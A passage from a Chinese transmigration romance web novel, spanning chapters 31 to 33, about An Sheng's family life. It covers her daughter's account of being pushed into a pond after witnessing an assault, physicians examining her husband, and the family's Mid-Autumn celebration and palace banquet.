老夫人爱怜地摸摸她头,叹了口气。 “这么小,却已吃了不少苦,阖府上下的姑娘们,哪个不是娇生惯养大的,便是破了指头也要哭一场,岁岁也就等到娘亲来了才像个孩子。” 安声听了这话有些心酸:“是,岁岁四岁多便失去娘亲,我夫君又忙于公务疏于陪伴,她便比其他孩子早熟些,这是我们的失责。” 于是向周老夫人说,带岁岁回去住一段时间,若大好了,再过来听先生教导。 老夫人自然无不同意,不过不想折腾孩子,便请安声在这里住一晚,待岁岁烧退了再回。 安声思量着,也想观察岁岁的病情,怕有意外,便答应了。 穆诗便跟着府上丫鬟去收拾床铺,又让人给家里送了信说明情况。 岁岁睡了两个时辰,到傍晚时分醒来,烧退了些,安声暗松口气。 期间许多姑娘小姐们纷纷来看过岁岁,府上夫人们也来拜会了安声,还有两位西席先生,一位主要负责教导女孩们礼仪规矩,读书写字以及女红,名为乔易水,另一位则是岁岁常提起的文瑶文先生,主要教女孩们琴棋书画。 安声特意留文瑶讲了会儿话,多问了几句岁岁的情况。 文瑶起先惊讶于安声知晓岁岁跟她练剑的事竟未反对,不过再与这位年轻的二品诰命夫人聊下来,才知其性情洒脱温和,又有一份坚韧,岁岁很像她的母亲。 其实安声想问的更多,听岁岁说文先生乃是江湖中人,脑中对她勾勒的形象便是飞檐走壁,劫富济贫的大侠,令人激动又热血,介于初次见面,不好探问隐私,遂罢。 到了晚间,下人们送来晚膳,菜品丰盛,岁岁病中,没什么胃口,就吃了些清淡蔬菜粥,以及小碗羊奶甜酪。 不久,就闻下人来说,左大人来了,正在前厅会见二爷四爷。 穆诗笑道:“就猜到大人会来,只怕夫人今夜不回,大人要一宿无眠了。” 安声摇头:“那也没办法。” 左时珩只能独守空床了。 因是内院,左时珩过来后不能久待,只问了岁岁情况,又与安声说了会儿话,便匆匆离去。 是夜无事,安声洗漱后抱着岁岁躺在床上,岁岁因白日睡得久,这会儿虽吃了药,倒也一时无眠,便黏在娘亲身边说起悄悄话来。 只一句,就惊得安声坐起,一身冷汗。 她说:“娘亲,我不是淋雨生病的,我是被人推下了池子。” 听岁岁说完,安声长吁一口气。 却原来书里说的是真的,这样大的家族,外表风光,内里腌臜得很。 青叶园里都住的年轻姑娘,虽不许府上男人过来,却也不是密不透风的,若有哪位老爷少爷偏要偷偷进,下人们既不敢拦,也不敢说。 昨日大雨前,岁岁去文瑶住处学了剑,独自往回走。那时已是起了大风,眼看要下大雨,她便穿过一片竹林抄了近路,忽听见有女子啜泣求饶之声,便捡了根竹枝去看,谁知正好撞见一个男子强侮一姑娘。 那姑娘是与她一块读书的,不熟,只知姓宋,见到她出现,仿佛抓住了救命稻草,连忙喊起来,被那男子一把捂住嘴。 那男子见左岁不过一九岁孩子,便不放在眼里,目露凶狠让她滚开,当作什么也没看见。 然左岁年岁虽小,却无法坐视不理,便以竹枝打他刺他,逼得他放开了宋姑娘,宋姑娘惊恐之下趁机逃离,男子不敢去追,就把火撒到了左岁身上,同时也怕她向别人告密,坏他名声。 岁岁转身便逃,那时忽然阴云密布,狂风大作,天暗得看不清路,她跌跌撞撞逃到了池边,无处可躲,被那男子一把推入了水中。 好在娘亲教过她凫水,她艰难游到对岸,被丫鬟发现,送回了老夫人那里。 因淋雨落水,又受惊吓,当夜便发起高烧。 安声听得实在心惊胆战,又愤怒不已,可岁岁不知那男子身份,也无证据,料想那男子敢如此无法无天,也是拿准了被强迫的姑娘比他更在意清誉,不敢出来指认。 她再次深刻认知到,这是个自上而下吃人至深的封建王朝,哪怕在法制健全的现代社会,也不乏迫于强权的冤屈,何况这里。 不过在现代时,她只是芸芸大众中的一个普通人,而在这里,她已在上层,见得更多,更赤裸。 既无人证也无物证,此事很难有个结果,但想到就此算了,她又很不甘心,恨不得立即将此事告诉老夫人,且找出那个宋姑娘一同指认。 岁岁亲了亲她,劝道:“娘亲,不要告诉爹爹,这是我们之间的秘密,而且救人很光荣啊。” 安声深知岁岁的意思,为她的懂事感到心疼,温声问:“岁岁救了人,自己陷入险境,会不会很委屈?” “有一点委屈,她要我救她,却自己逃了不管我,但后来我想,她一定很害怕,如果是我,我也害怕,便不生气了,而且娘亲说过,救人不是为了回报,我只是做了当时能做的事,没想那么多。” 她撒娇地抱住安声:“如今见到娘亲便更加不委屈了,我做了和娘亲一样的好事。” 安声感慨不已,只得愈发搂紧了女儿,轻声安抚:“好岁岁,明日我们回家去,不在这里了,读书写字没什么人比得上你爹爹,娘亲还能教你更多,至于剑招什么的,再单独请文先生来教便是。” 岁岁高兴不已,说她学得很快,不用继续在这里,只想和爹爹娘亲待在一起。 说着便很晚了,母女二人又闲话几句别的准备休息,忽听西窗被轻敲了两下。 安声立时警觉,不过觉得谢公府老夫人院里倒还不至于有什么歹人,便下了床开了道窗缝。 窗外是个半大少年,看着也不过十岁出头,比阿序略大些,见到她有些忸怩不自在,却没忘了礼数,态度恭敬。 正要问来意,岁岁从安声怀里钻出来,探头看去,认出了来人。 “娘亲,他是老夫人的嫡孙,也是哥哥好友,有时也会在老夫人这里住。” 谢毓华面有愧色:“岁岁,我回来得晚,听闻你病了,原是想来看看你的,谁知听到了你与夫人的话……我们家竟有如此胆大包天的狗东西,真是对不住你。” 他飞快看了安声一眼,不知是气的还是羞愧,耳根在夜色里也能看出红晕。 “不过你放心,你同我细细说明那人长相,我定将他找出来,纵然此事不好闹大,我也私下替你出了这口气。” 岁岁转头去看安声,安声轻笑:“那就太好了,最好教训完将结果告诉我,不能便宜了他,不过既敢进园子,想来是你的兄弟,其中分寸你自己拿捏,莫要将岁岁扯入新的麻烦里。” 谢毓华忙不迭点头,直言是族中兄弟才更要管教,免得将来败坏门庭,且若此事没有交代,他也无颜面对岁岁的兄长。 安声颔首。 翌日,岁岁烧全退了,安声便带她回了家。 自安声回来,岁岁便搬回了风芜院后罩房,安声晚间哄到她睡着才回了东厢房,左时珩已沐浴更衣,安卧在榻了。 见到她,他讶然笑道:“我以为阿声今夜要陪着岁岁呢。” 安声笑着自然坐到他怀里:“也不能冷落了我们左大人。” “嗯。”左时珩揽她杨柳细腰,从后吻她脸颊,低叹,“昨夜实在难捱,辗转反侧,险些相思成疾。” “就一晚上?” “一晚足矣。” 安声笑个不停,转身面对他,攀着他脖颈:“看来我才是你的阿贝贝,失眠的另有其人。” “是。”他缓褪去安声里衣,将她圈入臂弯,寸寸吻着她,温柔又贪婪,“一饮一啄,皆系尔身……” 被抚摸着,安声呼吸慢慢灼热,眼也迷离,云鬟半落,举首迎合。 拨下银钩,垂下粉帐,只闻恰恰莺啼,喃喃燕语,一番巫山云雨,被翻红浪,直至月上中天,相拥睡去。 岁岁在家,安声便不无聊,与她一道写字,看书,下棋,或是岁岁舞剑给她看。 约半月后,阿序从书院放假回家,歇了一日。 他已知晓了岁岁在谢公府发生的事,虽知晓与好友无关,却还是忍不住与谢毓华置了许久的气,直到他带来此事结果。 他找到那人,原是自己三哥,那位谢二伯妾室所出的庶子,整日招猫逗狗,逛烟花柳巷,没个正经。 因担心牵扯到岁岁,他便另寻了由头去教训,先吩咐人找了波混混将他狠揍了顿,又去禀告老夫人,说他在外赌博,惹祸上身一事,老夫人愠怒,连带着谢二爷一同骂了,让他们父子一道去跪祠堂。 谢二爷丢了面子,回头又将儿子教训了遍,得问出他一堆风流荒唐事,便更加恼怒,亲自打了他一顿,伤上加伤,如今没个两三月下不来床。 左序听了,这才稍稍解气,趁休假回了家,将此事告知于娘亲和妹妹。 安声倒仍有些不满意,不过心知这已是最好的结果了,又问起那位宋姑娘,左序想了想,说,应该还在谢家。 安声轻叹一声,也无话可说。 岁岁回了家后便没去谢公府,谢家派了人来问,安声找借口委婉拒绝了,那边也不好说什么。 那位擅操琴的文瑶先生,倒是单独来过几次,指点岁岁剑法与琴技,还送她一本剑谱。 安声看的热血沸腾,恨不得自己也练起来,毕竟从小看了许多武侠剧长大的,多多少少有个大侠梦。 时光荏苒,夏末又下了几场雨,热气消退,便添了凉意。 安声某日早起,于窗前拾起一片半黄落叶,方惊觉已是初秋。 夜里她端了热汤去书房,只听左时珩轻咳了声,便立即警铃大作,快步进去,到他身边。 “左时珩,我要多请几位太医来给你检查,然后挨个去问。” 左时珩诧异片刻,搁笔笑问:“真要刑讯逼供?” 安声说:“有这个想法。” 左时珩笑着将她抱坐在腿上,蹭了蹭她的发。 “好,那我先派人将他们的马偷了,免得他们听了连夜跑。”《 》 30-40 第31章 中秋 安声是认真的,严肃对待此事。 翌日她便去打听了胡太医的居所,得知他今夜无须在宫中值班,便托人去请,等左时珩从衙署归家时,他替他把了脉看了诊,并在安声一再请求下,也疑心起来,不得不加倍仔细。 只见胡太医望闻问切,时而闭目凝神,时而微微颔首,安声紧张到大气不敢出,等他一结束,便直接拉了他去偏厅细问。 胡太医宽慰笑道:“夫人莫急,大人如今已大有好转,先前为左大人诊脉时,其脉象沉细且弱,如棉絮在水,乃气血两虚之状,时隔多月,已转濡脉,轻取可得,如帛浮于水,乃正气渐复之佳兆。再者,从前左大人面无血色,畏风畏寒,如今气血透于双颊,手足和暖,亦表中气渐足,根基渐稳。” 安声听个大概意思,又问:“真是大好了吗?还须吃什么药?” 胡太医道:“药已不必,不过如今正值夏秋交际,热里藏凉,须多注意一番,食饮有节,避其邪气,另外便是我常啰嗦的那句,起居有常,少辛劳,多休息,不要忧思过度。” 安声稍稍放心,重重谢了一番,亲自送太医出门,到了门口,才礼貌请求:“胡太医您善内科,不知有无外科圣手的大夫推荐呢?我夫君他这些年东奔西跑的,身上添了不少伤痕,只怕有暗伤未愈,我不放心。” 胡太医先是一愣,遂微微一笑:“我看夫人才是左大人的一副良药啊。” 安声忙笑说过誉:“全仰仗您的医术高明。” 胡太医认真道:“治病不全靠大夫,病者本身极其家人的配合也很重要,所以,这并非老夫美言讨好,不过夫人说到外科圣手,那必推太医署的赵太医了,他恰与我屋舍相邻,今日也不值班,待我回去与他说一声,让他过来一趟,如何?” 安声自是万分感激。 待她回了屋内,左时珩正笑吟吟地望着她,见她眉目舒缓,便知胡太医说的大抵是好话,于是放肆地捏了捏她脸,调侃。 “拷问完了?” “完了。” “胡太医是四肢健全地走的?” “是。”安声已按不住嘴角弧度。 左时珩一本正经叹道:“看来我夫人还是太貌美心善了。” “哈哈……”安声笑个不停。 于是被他抱于怀中亲了亲,低声在耳畔问:“可放心了?” 安声顺势伏在他肩上,为清冷的白梅香所萦绕。 “左时珩……”她轻声呢喃,想说些什么,最终只是重复他的名字。 左时珩心头似化开了般,亦声声应着她。 果然不久,那位赵太医便到了。 左时珩虽有些诧异,却依然十分配合,凡太医所问,无所不答。 检查了肩颈,臂膀各处,又撩起衣摆看腰腹那些陈年伤痕,大多都是外差时留下的。 左时珩一贯身体力行,最远去到疆北良俞山附近,当时那里发生了一场地震,因死伤无数,又在边关,他便亲去指导民宅、官所、城墙等各处灾后修缮重建事宜,并教导当地民众如何最大避险逃生,如何寻饮净水。 但由于不适应当地气候,他病了一场,又带病坚持,完成公务后才退下休养,以至病情加剧,不得已歇了半月,回京时,身上又添了许多磕磕碰碰的伤。 赵太医蹲下来,以手指在左时珩膝盖周围按压,询问他是否酸胀刺痛,又让他伸直弯曲几下。 左时珩照做后,答道:“只略有些牵扯之感。” 赵太医颔首:“大人膝处似有旧损。” 安声立即看向左时珩。 左时珩沉吟:“两年前跌过马,当时受了点轻伤,不过已经大好,平日活动走动并无异常。” “可不止轻伤,想来那时骨骼未断,必有筋脉撕裂,如今虽说大体痊愈,仍然气血瘀滞其间,未能尽散,平日无碍,但天寒气湿时节,一旦邪气入侵,便要作怪。” 安声问:“严重吗?要怎么治?” 赵太医笑笑:“夫人莫急,左大人这伤不过两年,算不得严重,及时干预,善加温养便能好全。” 于是在穴位上施了针,又开了温养足浴的方子,嘱咐秋冬时节每日睡前泡上一泡,温通经脉,或少量温服些五加皮酒倒也不错,安声全都记下。 待送了太医走,已有些晚了,左时珩今日便不去书房,即让李婶烧了热水来泡脚。 安声满意道:“病人的态度还不错,很积极。” 左时珩促狭的笑:“那是自然,夫人发话,我岂敢不应。” 方子要明天才能去抓药,今日就单用热水,下人搬了木桶来,两人坐在凳子上,一同泡起来。 安声的脚纤细白嫩,玩心大起地在左时珩脚背上踩来踩去,正得意时忽被他钳住,用脚去挠她脚底心,逗得她花枝乱颤,连连告饶。 初秋天气,夜间才得一二分凉意,这么一泡,很快便热的出了汗,于是两人也没泡太久,擦干了水窝去床上,浑身都暖融融的。 安声倚在左时珩怀中,在他膝上揉了揉,问他:“那时怎么跌马了?” 左时珩揽着她肩的手拍了拍,温声道:“那马儿忽然受惊发狂,险些伤人,我便上了马背制服,奈何骑术不精,脱手坠落,幸而那马也冷静了下来,我只受了点小伤。” 安声听得心头狂跳,后怕不已,忙趴到他胸膛上盯着他:“左时珩,你说得好轻巧,万一当时那马发狂踩到你,后果不堪设想,以后不准做那么危险的事了。” 左时珩低笑,轻吻她唇角:“好,不做了。” 安声捧起他脸,认真端详,其眉眼隽秀无双,无不长在她审美上,忍不住左看右看。又观其脸色,较初见时,也红润不少,不再那般苍白如雪,令人心忧。 且从嘉城回来后,安声每次都等左时珩一起睡,不准他忙太晚,如今休息也多,身体愈好,还未再次生过病。 今日两个权威太医看了,也都说好,安声合该放心,但不知为何,她心上仿佛隐隐有根刺扎着,触之发疼,细看无物,一种说不上来的感觉。 如果预言为真,难道不是病逝,而是意外?…… 她心几乎停了一拍,紧搂住他,枕在他颈间,闷声道:“左时珩,我必须要每日都见到你,确认你无虞,今年哪怕朝廷指派,你也不许再离京了,可以吗?” “好。” “而且就算在京中,若是你要去什么环陵或易文阁建造现场监察时,也要避开那些大木头啊大石头啊,总之,不能靠近危险。” “好。”左时珩柔声笑,“君子不立危墙之下。” “嗯……”安声软应了声,“我再想想还有什么……” 话落,便被整个抱在怀里翻了个身,仰躺在枕上,跌入左时珩那双温润含笑的漂亮眸子里。 他俯下身,额轻轻抵着她的,气息洒落在脸颊:“还在想那个噩梦吗?那不是真的。” 他安抚着她的不安,手指在她耳后摩挲,嗓音低缓柔和,仿佛春风。 “阿声,因为你在我身边,所以我会加倍珍重,同你携手白头。” 安声怔怔望着,一滴泪从眼角浮涌滑落,而后主动深情吻上了左时珩。 此刻她想,左时珩是她的丈夫,岁岁与阿序是她的儿女,这里就是属于她的家。 往后除非一扇回现代的门开在面前,否则她便绝了回程之念。 …… 一场秋雨一场寒,几场雨过后,秋日便当真来临了。 安声晨起打了个寒噤,又将雪白臂膀缩回被子里。 前两日左时珩收拾了夏裳入箱,将厚些的衣服都拿了出来晒过,于柜中叠放整齐,昨夜下了雨,料定今早还冷,他便出门前,细心于架子上置了件安声稍厚的外衣。 安声拥衾而卧,看着那件衣裳,心里头很是柔软温馨。 待起了洗漱过后,她推开窗,扑面一阵桂香,沁人至极。 庭院一角有棵桂树,昨夜被雨打过,反而愈发坚韧,今早尽数开放,馥郁芬芳,携一丝凉凉水汽灌入肺中,香而不腻。 很快岁岁便来了,同她腻歪了会儿,一起用了早膳。 于窗下写字时,安声望着那棵桂树出神,直到岁岁扯了扯她衣袖。 “娘亲,今年中秋,我们一家可以一起过了,和月亮团圆。” 安声回过神,笑了笑,视线落在岁岁笔下那幅画上,她正绘了一棵月夜金桂,明月悬于苍穹,点点清晖洒落,如梦似幻。 她笑意加深,赞道:“画得真好!待你爹爹回来,定要给他看。” 岁岁说:“不行,我还没画完呢,我要在这儿树下画上爹爹,娘亲,我还有哥哥。” “那很难哦。” “画人虽难,可画爹爹娘亲还有哥哥不难,我能画好。” 安声笑了笑:“好,那我期待岁岁的大作!” 岁岁抿唇一笑,重重点头。 安声又问:“往年,你们中秋是怎么过的呢?” “娘亲不在的时候,我和哥哥不过中秋,只是陪着爹爹而已,爹爹会一个人望着月亮发呆,枯坐一整晚。” 安声心里刺了下,叹气。 “那娘亲在的时候呢?” “娘亲在的时候,怎么过都高兴,我记得娘亲会带我和哥哥摇桂花,做桂花蜜,桂花饼,桂花糕,还会做香香的水,喷在衣服上,连睡觉都是香香的。” 安声眼眸微亮,取了岁岁手中的笔搁下。 “走吧,岁岁,我们现在就去摇桂花。” 左时珩今日下了早朝后,衙署也无甚事,便回得早,因近中秋,便转道去接了阿序回家,回院见妻子与女儿在桂花树下正玩得不亦乐乎,不由会心一笑,满腔温情。 阿序见状,显然意动,却又持秉周礼,站在父亲身旁不动。 左时珩笑笑,轻推他:“回家了还拘什么,同你娘亲妹妹一道玩就是。” 阿序得了这话,才快跑过去,被安声一把抱住。 “原想着过一日去接你呢,没想到今日就回了。” 阿序笑道:“是爹爹接的,向山长多请了一日假。” 入秋后,阿序没再归家,一直在书院读书,安声携了岁岁去过几次,为他送去衣裳吃食等,每见他似乎瘦了些,便难掩心疼,殷切叮嘱他读书或学医固然紧要,自己的身体才是重中之重。 中秋临近时,她同左时珩商量要去接阿序回来过节,左时珩说,中秋宫中会有宫宴,邀在京四品以上廷臣参加,因此他们可以提前去接了阿序,早一日过节。 安声算着日子,准备明日动身去桐花巷松下书院,没想到左时珩今日便接了阿序,实在是一个大大的惊喜。 近半月未见,阿序个子似又高了些,气质愈发稳重起来,只到了她面前,才现了小孩样。 “看来要不了两年,就要比我高了。” 安声佯装抬手比这阿序的身高,却趁机将手中一把桂花洒在他头顶。 岁岁笑得欢快,有样学样,阿序抓起一把桂花,被安声躲开,便大呼不公平,让爹爹来帮他,又去扔岁岁,岁岁反击,兄妹俩一时玩闹起来。 安声站在桂花树下,微微歪头,笑意盈眸。 “左大人还要矜持到什么时候?” 左时珩轻笑一声,阔步踏来,展臂将母子三人全拥入怀中,抱了满怀的桂花香气。 …… 因中秋要入宫赴宫宴,八月十四他们便先过了节。 在临水亭上置了茶几,摆上瓜果糕饼祭月,穆诗李婶他们又蒸了青蟹送来,还特意调了香醋,一家人赏月玩闹直至夜深,无不欢乐。 待送了阿序与岁岁回房睡下,安声又与左时珩回到亭中。 夜静得很,两人相依相偎,共沐月光,只眷恋听着彼此的心跳与呼吸。 池水也静,却又轻轻泛起波澜,浸着一团溶溶月影。 月光大盛,似乎流动起来,无声漫上石阶,爬上栏杆,将二人的衣衫染成淡淡银白,亭下还有些秋菊开得正好,被月光一泡,倒失了颜色,只余一团朦胧烟雾。 安声没有说话,贪婪地享受着左时珩怀里的暖意。 她望着那一轮孤月,些微几分恍惚,心下想起那句张若虚的—— “江畔何年初见月?江月何年初照人?人生代代无穷已,江月年年望相似。” 一时生出无限惆怅与感怀,担忧眼前欢愉似水中倒影,随水而去。 左时珩似有察觉,低声问:“乏了吗?” 安声点头,不过在回转前,借这轮明月,她忽然想问:“左时珩,你的中秋心愿是什么?” 左时珩望着她笑:“是年年与君共此时。” 第32章 明月 中秋这日,官员休沐,无须上朝,安声便拽着左时珩一起睡懒觉。 她不想起,也不许左时珩起,左时珩一动,她便将腿搭在他腰上,整个人缠紧了他。 左时珩轻笑声落在耳边痒痒的。 “早饭也不吃了?” “不吃了,昨夜吃的多,今晚还要吃宫宴大餐呢。” “宫宴虽是大餐,却不能饱腹,没哪位廷臣是冲着吃饱去的。” 安声缠得累了,又换个姿势,转身背对他,枕在他手臂上,与他手指相扣。 “你们皇帝真小气,请人吃饭,还不让吃饱。” 左时珩笑了声,将她拢进怀里,温软的唇贴上她耳廓。 “嗯,不但小气还要面子,所以这话可不能给他听见。” “我可没那么笨,得罪你们大老板,你还要靠他发工资呢,万一你没钱了,怎么养家,那我可要跟有钱人跑了。” 安声挠了挠他手心。 “哦……阿声原来是如此想的。” 原先贴着她耳的唇倏地张开,轻咬住,仿佛一阵电流激过,她从头皮酥麻到后颈。 “左时珩……” 安声几乎是不受控地喘起来,只换来一声运筹帷幄的低笑。 又亲又咬,声音几乎含混不清。 “……还要跑吗?” 痒痒的,还有几分羞赧,安声想挣扎,却抑制不住生理反应地笑出声,便缩着玉颈,整个人在他怀里红透了。 “你……我……” “我什么?” 安声软语求饶:“好了……我认输。” 左时珩一松开她,她便转身过来紧抱住他,在他喉结上啃咬了口。 “哈……才怪!” 左时珩僵了僵,无奈又宠溺地笑。 安声得意挑眉:“左大人,这叫兵不厌诈。” “那我认输。” “真的?” “嗯,心服口服。”左时珩笑了笑,将她脑袋按在怀里揉了揉,“可想起了?” “不想不想。”安声又像之前那般,八爪鱼似的整个缠在他身上,两人紧贴一处,被子里暖融融的。 “好,那就再躺会儿。”他轻柔地拍着安声的背,“昨天晚上好像又做噩梦了。” “我吗?”她一点也不记得了。 “嗯,害怕似的直往我怀里钻,我便叫了你两声,你迷迷糊糊地应我,又睡着了。” “像这样吗?”安声在他怀里蹭了蹭,听他心跳怦然加速,笑道,“说不定不是噩梦呢,是美梦。” 左时珩抬手抚她眉眼,目光满是温柔:“嗯,是我说错了,是美梦才对。” 感知到此刻抱住自己的这具身体灼热起来,安声弯了弯唇,去吻他,剥落他肩上的衣裳:“左时珩……现在还早……” 妻子的主动总让左时珩容易失控,他的眸变得幽深,满是她的身影,修长手指熟练褪去她里衣,被子下,他怀里,便只有一具细腻软滑,纤细白皙,令他着迷的美妙曲线,仿佛天造地设般地贴合。 近的不能再近,所有感官都敏感地系着彼此。 吟吟低语,湿热气息,千般柔情,万般旖旎,交织的享受与欢愉化作此刻勾缠的发丝,写满对彼此的爱欲及渴求。 总好像爱的不够,要更深一些,却又担心渊深似海的爱太过沉重,在无止境的宣泄里会将对方淹没,便如潮水,阵阵涨落。 好在岁月久长,不在朝暮。 再多被压抑的情愫与渴望,也能慢慢向对方倾诉,总有一日,展露一个完整的清白的灵魂- 岁岁与阿序一早便起了,齐在风芜院。 因父母还在赖床,他们便自己找事做,也不吵闹。 两人从外院采了菊花过来,插在瓶里,修剪好,摆在窗台,以便父母起床后一眼便能看见,然后都抱了针织篮子去廊下坐着。 岁岁拿了个绣绷,在上面绣一枝桂花,问他:“哥,你跟孟先生学的怎么样了?会看病了吗?” 阿序停手,将针戳在棉包上,用两根手指搭上妹妹的手腕。 岁岁不动,等着。 阿序探了一会儿,收手:“嗯,很健康。” 岁岁便翻了个白眼:“还用你说。” 阿序则道:“跟你一两句说不清楚,但我学的跟普通大夫不一样。” “你学的什么?” “扎针,各种扎法,长的短的粗的细的,可有意思了,我师父说他是鬼门十三针的传人,我是他的关门弟子。” “听起来很厉害,但不像是治病的。” “一般的病不治,一般的病可以找一般的大夫,只有一些疑难杂症或者急病重病,才值得我师父出手,他说他在江湖上有个名号,你猜猜。” “鬼医或者什么?” “不是,叫‘摆渡公’,意思是能把一些不想死的人的魂从黄泉上摆渡回来。” 岁岁便笑起来:“还挺有意思,娘亲最喜欢听这种故事了。” 阿序想了想,也笑:“说不定娘亲就是为这个才让我跟着孟先生学医的呢,因为爹爹如今身体健康。” 不久,左时珩与安声起了,从里屋相携而出时,已是晴光大好,几近中午。 见兄妹二人在阳光下针织,安声倍觉有趣,凑到近前左看右看。 “阿序也会?” 阿序点头,向她展示补起的衣物上那整齐的针脚:“都是用针,触类旁通。” 岁岁便趁机将方才哥哥告诉他的江湖传闻讲给安声听,安声果然听得有滋有味。 左时珩一过来,三人就不聊这个,惹得他无奈又好笑:“都有秘密,只瞒着我么?” 安声懒懒地勾起他小指晃了晃,眨眼笑:“左大人,我同你也有很多秘密是他们不知道的呀。” 两人陪孩子用了午膳,便换了衣裳,坐上马车赶赴宫宴了。 进了宫门便在专人引领下分道扬镳,左时珩与其他朝臣去乾午宫等候朝拜皇帝,安声则随女眷命妇等先往翊宁宫觐见皇后与贵妃,之后的晚宴也不在一处。 安声虽有些不自在,倒并不紧张,幸而也没什么宫斗戏码或让她这个穿越人士忽然当众表演一番才艺的流程,不过是礼数到位,态度恭敬,吃完了一顿饭。 左时珩说得对,宫廷的菜虽精致且金贵,却不能让人吃饱,毕竟这种场合大朵快颐实属失礼,且每份菜肴的份量都很小,用了金银玉器盛放,奢华至极。 唯中间有段小小插曲。 皇后吩咐宫人拿来两幅题字作品,捧于众人面前欣赏,要人分出高下。 到安声这里,她一眼认出其中一幅是自己的字,当初诰命谢恩时,留在皇后宫中的一幅小楷。 所有人都择了另一幅,安声也是,但心中大为无语。 皇后面带微笑,满意点头,待结束后,大约为了补偿,找由头赏了安声一对金钗,一对玉镯,宁贵妃便也跟着赏她一个白玉葫芦摆件。 安声立即就释然了。 心想,若是再多送点,她还能在踩自己的字而去捧另一幅时,更真情实感一些。 宴散后,她与林雪走在一道,忍不住问:“我觉得那幅小楷倒也不错,你们怎么都选了另一幅?” 林雪笑得不行,攀住她的手低语:“那幅小楷是你的字吧?我一眼就瞧出来了,另一幅虽不知谁写的,但看笔锋就知是个男人,皇后娘娘拿来的字,除了皇上还有哪个男人?因此,但凡聪明些的,都会选另一幅,不识字的,也知道跟着别人选呢。” 原来如此。 回程路上,安声迫不及待将此事分享给左时珩。 “大老板果然小气,这也太小气了!干嘛非得跟我比字啊?还用这种方法听漂亮话,这不是掩耳盗铃吗?怎么不跟你比?哦,怕丢人?所以就不自取其辱了?哼——” 说着说着,她被左时珩揽入怀中。 他低笑问:“谁方才出宫时第一句倒是先跟我提的是那几样赏物?” 安声静了静,嘴角疯狂上扬:“那是另外一回事。” “嗯,皇后娘娘也知晓此事不妥,才特意给了你补偿,看样子还没补偿到位才这般义愤填膺。” “到位了,就是贪心,还是皇后了解我,她那一对玉镯和金钗还特意给我看了眼,金灿灿的,我一下就不生气了。” 左时珩被她语气逗笑:“小财迷,如今有钱了,还要跑吗?” “左时珩,那都是早上的事了,现在是晚上,怎么还提。”她转过脸来在他嘴上亲了几下,“快忘了忘了,我哪里也不去,就和你在一起。” 左时珩心间柔软的地方被撞了撞,满足地紧拥着她,拨起车帘,恰好一轮玉盘静照,天地为之明亮。 他轻声道:“这是安和九年中秋的月。” 月与往年并无不同,但落在他眼中,却是今非昔比。 他曾无数次注视着月亮,一夜又一夜,直至晨光熹微,露湿衣角。 眼下,他倒盼望时光停留此刻,或再久长一些。 不过,夜晚晴朗时,总有这样的月,弦月、缺月或是满月,只要妻子在他身旁,那便都是美景,倒也不必贪求一时半刻。 安声透过车窗,望向云层之上的灿烂。 月光倾泻,她妍丽的脸上一片莹白。 被左时珩充满珍视的目光注视着,安声转过头来,捧起他的脸亲吻。 “左时珩,安和十年中秋的月比这还美。你一定要看到。” 第33章 之前 中秋一过,天愈发冷了。 从前睡眠很好的安声,开始愈加睡不安稳。 或许她仍然深陷那句谶言的困扰,心头总萦绕一股恐慌之气,于是总在半夜惊醒,去看身旁的左时珩是否安然无恙。 天黑得早,亮得迟,左时珩每每起床准备朝会时,窗外还是黑沉沉一片,他不愿打搅安声的梦境,因此总动作轻柔地将怀中的妻子放开,盖好被子,自己洗漱后穿了官袍出门。 但这些日子,安声很轻易就会醒来,他略动一动,她便睁开眼,用那双睡意未褪的杏眸,朦胧且略带潮湿地望着他,似在梦里哭过一样。 每每此时,他便忍不住俯身吻她。 安声则坐起来,环住他腰,将脑袋靠在他身上,叮嘱他:“今天好冷,外面风大,多穿一件衣服,不要着凉了,回来的时候就坐轿子,不要因为赶路而骑马。” 左时珩目光温柔似水,一一应下,将被子往她身上裹了裹,温声道:“即便在家里,你和岁岁也要多添衣裳。” 安声迷瞪地点头。 左时珩笑了笑,抱她躺下:“嗯,睡吧,天都没亮呢。” 安声掀开眼帘,将他手拉过来亲了亲,糯糯软语:“左时珩,我好爱你啊。” 左时珩胸腔里奔起热血,淌遍全身,又忍不住吻她,低声笑叹:“再这样,我几乎走不了了。” 普天之下,大约只有他的妻子才会这般炽烈直白地表示爱意,似曜日灿烂和煦照耀于他,哪怕外面凄风苦雨,风里流霜,他也始终感到温暖。 一日一日过去,生活平淡温馨,并无波澜。 在安声的监督下,左时珩药膳吃着,药茶喝着,每晚睡还用温养的草药泡着脚,除了立冬那会儿犯了几日咳疾外,没有生病,连手足也都暖暖的。 但是安声心慌感始终无法彻底压下去。 左时珩自然有所察觉,便在下朝后特意去找了陈律,请求他代为向林夫人转达,多来找安声闲坐聊天,或是出门逛街。 陈尚书对此有些不大高兴,回怼:“左大人,这是当值时间,你我官袍还穿在身上,不用心办公,竟为这种家长里短的小事来特意找我浪费时间,未免太荒唐了吧?” 左时珩并不生气,耐着性子笑了一笑。 “陈大人,所谓修身,齐家,方能治国平天下,家宅安宁,夫妻和睦自然也是重中之重,怎么能是浪费时间。” 不过他也并未多说,只是再次态度恳切地请求。 陈尚书脸色稍霁,到底应下。 过了一日,是个晴天,林雪带着女儿陈静月,邀了安声和岁岁一道出门,安声欣然前往。 其实之前也收到过好些官宦夫人送的请帖,邀她赴秋桂宴,赏菊会之类的,她没心情,便都推了。 城北有好些茶楼酒肆,食铺衣舍,很是热闹,先前林雪同她说的那家仙织阁也开在那儿,她们便去了那儿逛。 马车停在巷口,一行人被侍者恭敬接了,从旁的门进,去到了仙织阁内不对外开放的部分,这里的绣娘主要都是给京城的贵族女眷们量身定制,有什么新出的式样、布料之类的,也都先送到各家府上给她们过目。 林雪说陈静月的婚事差不多快定了,挑来挑去,余了两家,一家是位四品官员家的长子,今年二十一,读书不错,模样清秀,前年刚中了秀才。 另一家则是她娘家亲戚那边介绍的,江州襄宁候家的嫡孙,十九岁,虽无功名在身,但将来是承袭爵位的,家境殷实,且他模样出挑,性情也是温和有礼。 所以今次来,也是先为她婚事预备起来,多做几件衣裳。 安声忙笑着恭喜几声。 陈静月依然不太爱说话,不过并不紧张,只是性子使然。 岁岁挺喜欢这位姐姐,拉着她手两人能聊到一块儿。 安声则跟林雪聊着,将忧心之事暂忘了去,还兴致勃勃地给岁岁挑了好几身漂亮的冬衣。 自己倒没怎么买,屋中的衣柜与箱笼几乎全是她的四季衣服,穿也穿不完。 过了会儿,窗外似有嘈杂之声,侍者将窗户关了,歉意笑了笑:“外头偶尔人多会有些吵闹,免得打搅夫人。” 安声与林雪也不在意。 